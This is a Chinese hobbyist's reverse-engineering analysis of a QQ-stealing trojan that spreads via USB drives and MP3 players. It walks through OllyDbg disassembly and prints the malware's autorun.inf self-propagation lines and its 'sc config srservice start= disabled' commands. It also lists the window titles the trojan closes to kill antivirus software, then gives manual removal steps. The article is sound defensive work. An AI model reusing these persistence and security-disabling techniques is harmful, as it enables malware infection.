=======================================================================
别让MP3黑走你的QQ
--------- 对一个病毒形式的QQ木马分析
                           文/图   混世魔王    QQ:26836659
                           MSN:    hsmw26836659@hotmail.com
                           BLOG: http://26836659.blogcn.com
   为了提高电脑的那点响应速度,一直都很吝啬安装杂七杂八的软件,包括杀毒软件.最多也就一个月来一次.(小编汗!一个月来一次,什么啊?)汗?什么啊?一个月来一次系统重做啊.
   这次系统重做后,居然发现可意进程。不会是中毒了吧。我就去了一下微软的UP Date升级补丁。虽然现在挂马的很多,但是也没有NB到微软的也挂上了吧.看了看IE,给插入了个winscok.dll,还弹出个视频聊天室的网站。得分析分析原因.
  找到文件路径,DIR还不出来,只有DIR /A 看来是系统文件。

找到文件,复制不出来,设置显示系统文件也显示不出来。郁闷到安全模式下。
来个ATTRIB –A –R –H –S 把他的系统,隐藏等属性都给去了。在来DIR就可以看到我们的小马了。




用PEID查壳,是FSG2.0的壳,现在很多木马加这个壳。压缩效果也不错,我脱壳后程序34K变了144K.,压缩比例4倍。这是后话,本来打算手脱的,但是这个壳修复比较麻烦,本人对PE认识欠佳,于是谷哥求助。


RIF的牛人做了个专门的UnFSG,就是脱壳工具。只要把加壳的程序载入进去就可以轻松的脱壳,简直是秒杀。


程序脱出来后PEID依然是显示yoda's Protector v1.02 (.dll,.ocx) --> Ashkbiz Danehkar *,我还以为是壳中有壳。这个壳类似与仙剑的壳,本来打算OD载入手脱,载入后发现程序已经无壳了。是由Delph编写。
那我们就来分析分析这个病毒性质的小马吧。先看看他的一些运行原理和机制。
00408DF4 >/$  55            PUSH EBP               
00408DF5  |.  8BEC          MOV EBP,ESP
00408DF7  |.  B9 07000000   MOV ECX,7
00408DFC  |>  6A 00         /PUSH 0
00408DFE  |.  6A 00         |PUSH 0
00408E00  |.  49            |DEC ECX
00408E01  |.^ 75 F9         \JNZ SHORT SVOHOST.00408DFC
00408E03  |.  51            PUSH ECX
00408E04  |.  53            PUSH EBX
00408E05  |.  56            PUSH ESI
00408E06  |.  B8 648D4000   MOV EAX,SVOHOST.00408D64
00408E0B  |.  E8 6CB4FFFF   CALL SVOHOST.0040427C
00408E10  |.  33C0          XOR EAX,EAX
00408E12  |.  55            PUSH EBP
00408E13  |.  68 B2904000   PUSH SVOHOST.004090B2
00408E18  |.  64:FF30       PUSH DWORD PTR FS:[EAX]
00408E1B  |.  64:8920       MOV DWORD PTR FS:[EAX],ESP
00408E1E  |.  68 C0904000   PUSH SVOHOST.004090C0           ; /Title = "dqhx"
00408E23  |.  68 C0904000   PUSH SVOHOST.004090C0           ; |Class = "dqhx"
00408E28  |.  E8 7BB6FFFF   CALL <JMP.&user32.FindWindowA>           ; \FindWindowA
00408E2D  |.  85C0          TEST EAX,EAX            //比较是否已经运行
00408E2F  |.  74 36         JE SHORT SVOHOST.00408E67   //没有运行跳

程序的开头调用FindWindowA函数比较Title = "dqhx"来判断木马程序是否运行,如果TEST EAX,EAX相等折表示已运行。也就是你中木马了.

00408E31  |.  6A 00         PUSH 0                 ; /lParam = 0
00408E33  |.  6A 00         PUSH 0                  ; |wParam = 0
00408E35  |.  6A 10         PUSH 10                ; |Message = WM_CLOSE
00408E37  |.  68 C0904000   PUSH SVOHOST.004090C0         ; |/dqhx
00408E3C  |.  68 C0904000   PUSH SVOHOST.004090C0         ; ||dqhx
00408E41  |.  E8 62B6FFFF   CALL <JMP.&user32.FindWindowA>  
00408E46  |.  50            PUSH EAX                ; |hWnd
00408E47  |.  E8 BCB6FFFF   CALL <JMP.&user32.SendMessageA>      
SendMessage必须等待其他程序处理消息后才返回,继续执行

00408E4C  |.  6A 00         PUSH 0                ; /lParam = 0
00408E4E  |.  6A 01         PUSH 1                  ; |wParam = 1
00408E50  |.  6A 12         PUSH 12                 ; |Message = WM_QUIT
00408E52  |.  68 C0904000   PUSH SVOHOST.004090C0                ; |/dqhx
00408E57  |.  68 C0904000   PUSH SVOHOST.004090C0                ; ||dqhx
00408E5C  |.  E8 47B6FFFF   CALL <JMP.&user32.FindWindowA>      
00408E61  |.  50            PUSH EAX                          ; |hWnd = NULL
00408E62  |.  E8 89B6FFFF   CALL <JMP.&user32.PostMessageA>         
PostMessage把消息放入队列,不管其他程序是否处理都返回,然后继续执行

00408E95  |.  BA E4904000   MOV EDX,SVOHOST.004090E4    //文件名 ASCII "SVOHOST.exe"
00408E9A  |.  E8 89ADFFFF   CALL SVOHOST.00403C28
00403C28   $  85D2          TEST EDX,EDX
00403C2A   .  74 3F         JE SHORT SVOHOST.00403C6B

00408EA7  |.  50            PUSH EAX       //我机器的程序路径 |FileName = "C:\windows\system32\SVOHOST.exe"
00408EA8  |.  E8 A3B5FFFF   CALL <JMP.&kernel32.SetFileAttributesA>  ; \SetFileAttributesA 设置文件属性+A+H+R 
00408EBD  |.  BA F8904000   MOV EDX,SVOHOST.004090F8                 ;  ASCII "winscok.dll"//插入
00408EAD  |.  68 80000000   PUSH 80
00408EB2  |.  8D45 E8       LEA EAX,DWORD PTR SS:[EBP-18]
00408EB5  |.  E8 DEC1FFFF   CALL SVOHOST.00405098
00408EBA  |.  8D45 E8       LEA EAX,DWORD PTR SS:[EBP-18]
00408EBD  |.  BA F8904000   MOV EDX,SVOHOST.004090F8      ; winscok.dll
00408EC2  |.  E8 61ADFFFF   CALL SVOHOST.00403C28
00408EC7  |.  8B45 E8       MOV EAX,DWORD PTR SS:[EBP-18]
00408ECA  |.  E8 49AFFFFF   CALL SVOHOST.00403E18
00408ECF  |.  50            PUSH EAX   //EAX = "C:\windows\system32\winscok.dll"
00408ED0  |.  E8 7BB5FFFF   CALL <JMP.&kernel32.SetFileAttributesA>  ; \SetFileAttributesA 设置文件属性+A+H+R 
00408ED5  |.  A1 1CA14000   MOV EAX,DWORD PTR DS:[40A11C]
00408EDA  |.  BA 04010000   MOV EDX,104
00408EDF  |.  E8 5CB0FFFF   CALL SVOHOST.00403F40
00408EE4  |.  68 04010000   PUSH 104
00408EE9  |.  A1 1CA14000   MOV EAX,DWORD PTR DS:[40A11C]
00408EEE  |.  8B00          MOV EAX,DWORD PTR DS:[EAX]                
00408EF0  |.  E8 23AFFFFF   CALL SVOHOST.00403E18
00408EF5  |.  50            PUSH EAX                                 ; |PathBuffer //EAX 程序路径
00408EF6  |.  A1 00B74000   MOV EAX,DWORD PTR DS:[40B700]            ; |
00408EFB  |.  50            PUSH EAX        ; |hModule => 00400000 (SVOHOST)
00408EFC  |.  E8 FFB4FFFF   CALL <JMP.&kernel32.GetModuleFileNameA> 
/获取文件运行的路径我电脑是  "D:\Fuck You Too\SVOHOST.exe"

00408F01  |.  8BD0          MOV EDX,EAX
00408F03  |.  A1 1CA14000   MOV EAX,DWORD PTR DS:[40A11C]
00408F08  |.  E8 33B0FFFF   CALL SVOHOST.00403F40
00408F0D  |.  8D45 E4       LEA EAX,DWORD PTR SS:[EBP-1C]
00408F10  |.  E8 83C1FFFF   CALL SVOHOST.00405098
00408F15  |.  8D45 E4       LEA EAX,DWORD PTR SS:[EBP-1C]
00408F18  |.  BA E4904000   MOV EDX,SVOHOST.004090E4                 ;  ASCII "SVOHOST.exe"
00408F1D  |.  E8 06ADFFFF   CALL SVOHOST.00403C28
00408F22  |.  8B45 E4       MOV EAX,DWORD PTR SS:[EBP-1C]
00408F25  |.  E8 EEAEFFFF   CALL SVOHOST.00403E18
00408F2A  |.  50            PUSH EAX                                 ; /FileName  
00408F2B  |.  E8 80B4FFFF   CALL <JMP.&kernel32.DeleteFileA>  ; \DeleteFileA  //删除
00408F30  |.  6A 00         PUSH 0
00408F32  |.  8D45 E0       LEA EAX,DWORD PTR SS:[EBP-20]
00408F35  |.  E8 5EC1FFFF   CALL SVOHOST.00405098
00408F3A  |.  8D45 E0       LEA EAX,DWORD PTR SS:[EBP-20]
00408F3D  |.  BA E4904000   MOV EDX,SVOHOST.004090E4                 ;  ASCII "SVOHOST.exe"
00408F42  |.  E8 E1ACFFFF   CALL SVOHOST.00403C28
00408F47  |.  8B45 E0       MOV EAX,DWORD PTR SS:[EBP-20]
00408F4A  |.  E8 C9AEFFFF   CALL SVOHOST.00403E18
00408F4F  |.  50            PUSH EAX
00408F50  |.  A1 1CA14000   MOV EAX,DWORD PTR DS:[40A11C]
00408F55  |.  8B00          MOV EAX,DWORD PTR DS:[EAX]
00408F57  |.  E8 BCAEFFFF   CALL SVOHOST.00403E18
00408F5C  |.  50            PUSH EAX                                 ; |ExistingFileName
00408F5D  |.  E8 0EB4FFFF   CALL <JMP.&kernel32.CopyFileA>  
00408F62  |.  8D55 DC       LEA EDX,DWORD PTR SS:[EBP-24]
00408F65  |.  A1 1CA14000   MOV EAX,DWORD PTR DS:[40A11C]
00408F6A  |.  8B00          MOV EAX,DWORD PTR DS:[EAX]
00408F6C  |.  E8 A3C0FFFF   CALL SVOHOST.00405014
00408F71  |.  8B45 DC       MOV EAX,DWORD PTR SS:[EBP-24]
00408F74  |.  50            PUSH EAX
00408F75  |.  8D45 D4       LEA EAX,DWORD PTR SS:[EBP-2C]
00408F78  |.  E8 1BC1FFFF   CALL SVOHOST.00405098
00408F7D  |.  8D45 D4       LEA EAX,DWORD PTR SS:[EBP-2C]
00408F80  |.  BA E4904000   MOV EDX,SVOHOST.004090E4                 ;  ASCII "SVOHOST.exe"
00408F85  |.  E8 9EACFFFF   CALL SVOHOST.00403C28
00408F8A  |.  8B45 D4       MOV EAX,DWORD PTR SS:[EBP-2C]
00408F8D  |.  8D55 D8       LEA EDX,DWORD PTR SS:[EBP-28]
00408F90  |.  E8 7FC0FFFF   CALL SVOHOST.00405014                 
//这里CALL 调用CharUpperBuffA,EAX的路径是"C:\windows\system32\SVOHOST.exe"了.

00408F95  |.  8B55 D8       MOV EDX,DWORD PTR SS:[EBP-28]
00408F98  |.  58            POP EAX
00408F99  |.  E8 C6ADFFFF   CALL SVOHOST.00403D64
00408F9E  |.  74 44         JE SHORT SVOHOST.00408FE4
00408FA0  |.  E8 13BDFFFF   CALL SVOHOST.00404CB8
00408FA5  |.  E8 BAD8FFFF   CALL SVOHOST.00406864
00408FAA  |.  6A 01         PUSH 1
00408FAC  |.  6A 00         PUSH 0
00408FAE  |.  6A 00         PUSH 0
00408FB0  |.  8D45 D0       LEA EAX,DWORD PTR SS:[EBP-30]
00408FB3  |.  E8 E0C0FFFF   CALL SVOHOST.00405098
00408FB8  |.  8D45 D0       LEA EAX,DWORD PTR SS:[EBP-30]
00408FBB  |.  BA E4904000   MOV EDX,SVOHOST.004090E4                 ;  ASCII "SVOHOST.exe"
00408FC0  |.  E8 63ACFFFF   CALL SVOHOST.00403C28
00408FC5  |.  8B45 D0       MOV EAX,DWORD PTR SS:[EBP-30]
00408FC8  |.  E8 4BAEFFFF   CALL SVOHOST.00403E18
00408FCD  |.  50            PUSH EAX                                 ; |FileName = "C:\windows\system32\SVOHOST.exe"
00408FCE  |.  68 04914000   PUSH SVOHOST.00409104                    ; |Operation = "open"
00408FD3  |.  6A 00         PUSH 0                                   ; |hWnd = NULL
00408FD5  |.  E8 A6B6FFFF   CALL SVOHOST.00404680                   
ShellExecuteA运行C:\windows\system32\SVOHOST.exe这个文件,和系统文件SVCHOST.EXE 就差一个字.但是运行里面是可以看的到的。
00408FDA  |.  E8 E9E0FFFF   CALL SVOHOST.004070C8
00408FDF  |.  E9 B3000000   JMP SVOHOST.00409097
00409097  |>  33C0          XOR EAX,EAX  //清除EAX的路径了

00405F9E  |.  50            |PUSH EAX                                ; /RootPathName      //磁盘容量  
00405F9F  |.  E8 4CE4FFFF   |CALL <JMP.&kernel32.GetDriveTypeA>      ; \GetDriveTypeA    //获取驱动盘
00405FA4  |.  83F8 02       |CMP EAX,2                //判断分区数
00405FA7  |.  0F85 50020000 |JNZ SVOHOST.004061FD                    
00405FAD  |.  8D45 F0       |LEA EAX,DWORD PTR SS:[EBP-10]
00405FB0  |.  B9 44624000   |MOV ECX,SVOHOST.00406244   // 生成 autorun.inf 文件
00405FB5  |.  8B55 FC       |MOV EDX,DWORD PTR SS:[EBP-4]
00405FB8  |.  E8 AFDCFFFF   |CALL SVOHOST.00403C6C
00405FBD  |.  8B45 F0       |MOV EAX,DWORD PTR SS:[EBP-10]
00405FC0  |.  E8 E3ECFFFF   |CALL SVOHOST.00404CA8
00405FC5  |.  3C 01         |CMP AL,1
00405FC7  |.  75 61         |JNZ SHORT SVOHOST.0040602A
00405FC9  |.  8D45 EC       |LEA EAX,DWORD PTR SS:[EBP-14]
00405FCC  |.  B9 5C624000   |MOV ECX,SVOHOST.0040625C     // 生成 sxs.exe文件
00405FD1  |.  8B55 FC       |MOV EDX,DWORD PTR SS:[EBP-4]
00405FD4  |.  E8 93DCFFFF   |CALL SVOHOST.00403C6C
00405FD9  |.  8B45 EC       |MOV EAX,DWORD PTR SS:[EBP-14]
00405FDC  |.  E8 C7ECFFFF   |CALL SVOHOST.00404CA8
00405FE1  |.  3C 01         |CMP AL,1
00405FE3  |.  75 45         |JNZ SHORT SVOHOST.0040602A
在其他分区生成名为 autorun.inf 和sxs.exe二个同级文件.文件属性为+A +H +S

0040616F  |.  8BC6          |MOV EAX,ESI
00406171  |.  BA 84624000   |MOV EDX,SVOHOST.00406284   
;  open=sxs.exe
00406176  |.  E8 29DEFFFF   |CALL SVOHOST.00403FA4
0040617B  |.  E8 40D0FFFF   |CALL SVOHOST.004031C0
00406180  |.  E8 DBC3FFFF   |CALL SVOHOST.00402560
00406185  |.  8BC6          |MOV EAX,ESI
00406187  |.  BA 9C624000   |MOV EDX,SVOHOST.0040629C 
 ;  shellexecute=sxs.exe
0040618C  |.  E8 13DEFFFF   |CALL SVOHOST.00403FA4
00406191  |.  E8 2AD0FFFF   |CALL SVOHOST.004031C0
00406196  |.  E8 C5C3FFFF   |CALL SVOHOST.00402560
0040619B  |.  8BC6          |MOV EAX,ESI
0040619D  |.  BA BC624000   |MOV EDX,SVOHOST.004062BC                ;  shell\auto\command=sxs.exe
004061A2  |.  E8 FDDDFFFF   |CALL SVOHOST.00403FA4
004061A7  |.  E8 14D0FFFF   |CALL SVOHOST.004031C0
004061AC  |.  E8 AFC3FFFF   |CALL SVOHOST.00402560
004061B1  |.  8BC6          |MOV EAX,ESI
004061B3  |.  E8 F0C9FFFF   |CALL SVOHOST.00402BA8
004061B8  |.  E8 A3C3FFFF   |CALL SVOHOST.00402560
004061BD  |.  6A 06         |PUSH 6
004061BF  |.  8D45 C4       |LEA EAX,DWORD PTR SS:[EBP-3C]
004061C2  |.  B9 5C624000   |MOV ECX,SVOHOST.0040625C                ;  \sxs.exe
004061C7  |.  8B55 FC       |MOV EDX,DWORD PTR SS:[EBP-4]

来看看autorun.inf的内容,为达到自运行的目的不折手段。
[AutoRun]
open=sxs.exe
shellexecute=sxs.exe
shell\Auto\command=sxs.exe
系统重做打开其他盘又感染了.郁闷,怎么现在病毒木马都这样!碰到几个了.

00406DBF  |.  B8 38704000   |MOV EAX,SVOHOST.00407038                ;  qqkav
00406DC4  |.  E8 2FD1FFFF   |CALL SVOHOST.00403EF8
00406DC9  |.  85C0          |TEST EAX,EAX
00406DCB  |.  74 0C         |JE SHORT SVOHOST.00406DD9
00406DCD  |.  6A 00         |PUSH 0                        ; /lParam = 0
00406DCF  |.  6A 00         |PUSH 0                         ; |wParam = 0
00406DD1  |.  6A 12         |PUSH 12                   ; |Message = WM_QUIT
00406DD3  |.  53            |PUSH EBX                     ; |hWnd
00406DD4  |.  E8 17D7FFFF   |CALL <JMP.&user32.PostMessageA>         ; \PostMessageA
00406DD9  |>  85DB          |TEST EBX,EBX
00406DDB  |.^ 75 BA         \JNZ SHORT SVOHOST.00406D97
00406DDD  |.  E8 DED6FFFF   CALL <JMP.&user32.GetDesktopWindow>      ; [GetDesktopWindow
00406DE2  |.  8BF0          MOV ESI,EAX
00406DE4  |>  6A 00         /PUSH 0                                  ; /Title = NULL
00406DE6  |.  6A 00         |PUSH 0                                  ; |Class = 0
00406DE8  |.  53            |PUSH EBX                                ; |hAfterWnd
00406DE9  |.  56            |PUSH ESI                                ; |hParent
00406DEA  |.  E8 C1D6FFFF   |CALL <JMP.&user32.FindWindowExA>        ; \FindWindowExA
00406DEF  |.  8BD8          |MOV EBX,EAX
00406DF1  |.  6A 65         |PUSH 65                                 ; /Count = 65 (101.)
00406DF3  |.  57            |PUSH EDI                                ; |Buffer
00406DF4  |.  53            |PUSH EBX                                ; |hWnd
00406DF5  |.  E8 D6D6FFFF   |CALL <JMP.&user32.GetWindowTextA>       ; \GetWindowTextA
00406DFA  |.  8D45 90       |LEA EAX,DWORD PTR SS:[EBP-70]
00406DFD  |.  8BD7          |MOV EDX,EDI
00406DFF  |.  B9 65000000   |MOV ECX,65
00406E04  |.  E8 FFCDFFFF   |CALL SVOHOST.00403C08
00406E09  |.  8B55 90       |MOV EDX,DWORD PTR SS:[EBP-70]
00406E0C  |.  B8 48704000   |MOV EAX,SVOHOST.00407048       ;  防火墙
00406E11  |.  E8 E2D0FFFF   |CALL SVOHOST.00403EF8
00406E16  |.  85C0          |TEST EAX,EAX
00406E18  |.  74 0C         |JE SHORT SVOHOST.00406E26
00406E1A  |.  6A 00         |PUSH 0                          ; /lParam = 0
00406E1C  |.  6A 00         |PUSH 0                            ; |wParam = 0
00406E1E  |.  6A 12         |PUSH 12                    ; |Message = WM_QUIT
00406E20  |.  53            |PUSH EBX                     ; |hWnd
00406E21  |.  E8 CAD6FFFF   |CALL <JMP.&user32.PostMessageA>         ; \PostMessageA
00406E26  |>  85DB          |TEST EBX,EBX
00406E28  |.^ 75 BA         \JNZ SHORT SVOHOST.00406DE4
00406E2A  |.  E8 91D6FFFF   CALL <JMP.&user32.GetDesktopWindow>      ; [GetDesktopWindow
00406E2F  |.  8BF0          MOV ESI,EAX
00406E31  |>  6A 00         /PUSH 0                           ; /Title = NULL
00406E33  |.  6A 00         |PUSH 0                           ; |Class = 0
00406E35  |.  53            |PUSH EBX                                ; |hAfterWnd
00406E36  |.  56            |PUSH ESI                          ; |hParent
00406E37  |.  E8 74D6FFFF   |CALL <JMP.&user32.FindWindowExA>        
00406E3C  |.  8BD8          |MOV EBX,EAX
00406E3E  |.  6A 65         |PUSH 65                           ; /Count = 65 (101.)
00406E40  |.  57            |PUSH EDI                          ; |Buffer
00406E41  |.  53            |PUSH EBX                          ; |hWnd
00406E42  |.  E8 89D6FFFF   |CALL <JMP.&user32.GetWindowTextA>     
00406E47  |.  8D45 8C       |LEA EAX,DWORD PTR SS:[EBP-74]
00406E4A  |.  8BD7          |MOV EDX,EDI
00406E4C  |.  B9 65000000   |MOV ECX,65
00406E51  |.  E8 B2CDFFFF   |CALL SVOHOST.00403C08
00406E56  |.  8B55 8C       |MOV EDX,DWORD PTR SS:[EBP-74]
00406E59  |.  B8 58704000   |MOV EAX,SVOHOST.00407058        ;  网镖
00406E5E  |.  E8 95D0FFFF   |CALL SVOHOST.00403EF8
00406E63  |.  85C0          |TEST EAX,EAX
00406E65  |.  74 0C         |JE SHORT SVOHOST.00406E73
......略一段

从00406D82 到 00407004 通过FindWindowExA函数寻找的窗口句柄,关闭窗口名为下列的应用程序QQKav.防火墙.网镖.杀毒.病毒.木马.恶意.QQAV.噬菌体.这些保护程序.
0040711F   .  A1 F4A04000   MOV EAX,DWORD PTR DS:[40A0F4]
00407124   .  8B00          MOV EAX,DWORD PTR DS:[EAX]
00407126   .  E8 C5DBFFFF   CALL SVOHOST.00404CF0
0040712B   .  69C0 E8030000 IMUL EAX,EAX,3E8
00407131   .  50            PUSH EAX                          ; /Timeout
00407132   .  E8 29D3FFFF   CALL <JMP.&kernel32.Sleep>         ; \Sleep
00407137   .  B8 68714000   MOV EAX,SVOHOST.00407168      ;  qq.exe
0040713C   .  E8 53D9FFFF   CALL SVOHOST.00404A94

我们可怜的QQ也在其中,在设置的时间内会关闭QQ.还好,我用的是QQ他妈TM.

00407291  |.  68 287A4000   PUSH SVOHOST.00407A28                   
 //生成一个noruns.reg文件,看样子要写注册表了
00407296  |.  8D45 F4       LEA EAX,DWORD PTR SS:[EBP-C]
00407299  |.  BA 03000000   MOV EDX,3
0040729E  |.  E8 3DCAFFFF   CALL SVOHOST.00403CE0
004072A3  |.  8B45 F4       MOV EAX,DWORD PTR SS:[EBP-C]
004072A6  |.  E8 6DCBFFFF   CALL SVOHOST.00403E18
004072AB  |.  50            PUSH EAX                                 ; |Parameters
004072AC  |.  68 D87A4000   PUSH SVOHOST.00407AD8                    ; |regedit.exeopen
004072B1  |.  68 E47A4000   PUSH SVOHOST.00407AE4         ; |open
004072B6  |.  6A 00         PUSH 0                           ; |hWnd = NULL
004072B8  |.  E8 C3D3FFFF   CALL SVOHOST.00404680      ; \ShellExecuteA
004072BD  |.  6A 00         PUSH 0                        ; /IsShown = 0
004072BF  |.  6A 00         PUSH 0                       ; |DefDir = NULL
004072C1  |.  68 EC7A4000   PUSH SVOHOST.00407AEC       ; |stop srservice
004072C6  |.  68 FC7A4000   PUSH SVOHOST.00407AFC                    ; |net.execonfig srservice start= disabled
004072CB  |.  68 E47A4000   PUSH SVOHOST.00407AE4            ; |open
004072D0  |.  6A 00         PUSH 0                             ; |hWnd = NULL
004072D2  |.  E8 A9D3FFFF   CALL SVOHOST.00404680        ; \ShellExecuteA
004072D7  |.  6A 00         PUSH 0                            ; /IsShown = 0
004072D9  |.  6A 00         PUSH 0                            ; |DefDir = NULL
004072DB  |.  68 047B4000   PUSH SVOHOST.00407B04                   
 ; |config srservice start= disabled
004072E0  |.  68 287B4000   PUSH SVOHOST.00407B28            ; |sc.exe
004072E5  |.  68 E47A4000   PUSH SVOHOST.00407AE4             ; |open
004072EA  |.  6A 00         PUSH 0                               ; |hWnd = NULL
004072EC  |.  E8 8FD3FFFF   CALL SVOHOST.00404680                    ; \ShellExecuteA
......略一段
00407689  |.  68 9C7E4000   PUSH SVOHOST.00407E9C          ; /Title = "瑞星提示"
0040768E  |.  68 A87E4000   PUSH SVOHOST.00407EA8          ; |Class = "#32770"
00407693  |.  E8 10CEFFFF   CALL <JMP.&user32.FindWindowA>           ; \FindWindowA
00407698  |.  68 B07E4000   PUSH SVOHOST.00407EB0           ; /Title = "是(&Y)"
0040769D  |.  68 B87E4000   PUSH SVOHOST.00407EB8     ; |Class = "Button"
004076A2  |.  6A 00         PUSH 0                                   ; |hAfterWnd = NULL
004076A4  |.  50            PUSH EAX                                 ; |hParent
004076A5  |.  E8 06CEFFFF   CALL <JMP.&user32.FindWindowExA>         ; \FindWindowExA
......略一段
从00407291 到00407893 这样长的一断代码,都是杀毒,防火墙,做斗争,我就不清楚这些系统命令Sc.EXE Net.exe net1.exe也加入到这个木马封杀的行列.
004078FB  |.  6A 01         PUSH 1
004078FD  |.  B9 9C824000   MOV ECX,SVOHOST.0040829C                        ;  ASCII "SoundMam"
00407902  |.  BA A8824000   MOV EDX,SVOHOST.004082A8   //添加启动项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"SoundMam" = "%system%\SVOHOST.exe"
00407907  |.  B8 02000080   MOV EAX,80000002
0040790C  |.  E8 0BD8FFFF   CALL SVOHOST.0040511C
00407911  |.  68 D8824000   PUSH SVOHOST.004082D8
00407916  |.  6A 01         PUSH 1
00407918  |.  B9 DC824000   MOV ECX,SVOHOST.004082DC                        ;  ASCII "CheckedValue"
0040791D  |.  BA EC824000   MOV EDX,SVOHOST.004082EC                        ;  ASCII "software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall"
//隐藏的系统文件
00407922  |.  B8 02000080   MOV EAX,80000002
00407927  |.  E8 F0D7FFFF   CALL SVOHOST.0040511C
0040792C  |.  8D45 E0       LEA EAX,DWORD PTR SS:[EBP-20]
0040792F  |.  E8 64D7FFFF   CALL SVOHOST.00405098
00407934  |.  8D45 E0       LEA EAX,DWORD PTR SS:[EBP-20]
木马的主程序的大体功能和运行机制就分析到这里,还有一个插入到IE进程的winscok.dll文件,我这里就跳过了。无非就是刷流量。
<HTML><HEAD><TITLE>.</TITLE>
<meta http-equiv="refresh" content="1; url=http://www.xxxx.net"> ‘地址用xxx代替了
</HEAD><BODY>
<script src='http://s47.cnzz.com/stat.php?id=223697&web_id=223697' language='JavaScript' charset='gb2312'></script>   ’站长站的流量统计
</BODY></HTML>
不过这马还有盗QQ,哎。什么世道啊。
分析过程就不做总结了。想必你一路看完下来也理解了。我们直接给出手工解决的办法,多动手,多学习。让你遇到这个木马不会那么头疼。毕竟做了系统,不小心又是会感染的。
一步:进入安全模式。我们先来显示出被隐藏的系统文件的regedit
HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL,
将CheckedValue键值修改为1 


这里要注意,病毒会把本来有效的DWORD值CheckedValue删除掉,新建了一个无效的字符串值CheckedValue,类型为REG_SZ,并且把键值改为0!我们将这个改为1是毫无作用的。没有看清楚CheckedValue后面的类型,正确的是“RED_DWORD”而不是“REG_SZ”。
二步:然后在来解决注册启动项。
HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Run 
SVOHOST.exe  
三步:Ctrl + Alt + Del 任务管理器,在进程中查找 SVOHOST(不是SVCHOST,相差一个字母),有的话就将它结束掉(并不是所有的系统都显示有这个进程,没有的就略过此步)。
四步:删除系统目录的二个文件SVOHOST.exe和winscok.dll文件。我们可以在命令执行
DEL C:\windows\system32\SVOHOST.exe /S
DEL C:\windows\system32\winscok.dll /S
如果查找不到文件,记得把他的系统属性去掉。
五步:解决其他盘的遗留问题,我这里已经D盘为例,其他分区同样超做。CMD执行命令
attrib -h -r -s d:\sxs.exe
del d:\sxs.exe
attrib -h -s -r d:\autorun.inf
del d:\autorun.inf         
解决完小马,我们来追查源头!如果访问其他分区目录,木马就会感染你的系统和其他分区,不是通过局域网,这种情况的传播途径就只有USB,不知道大家注意没有,使用U盘或者MP3,是直接运行.那!我们的小马就开始他的传播了…..
MM:怪不的我的MP3会提示有毒………. 
                                               
                                                              (完)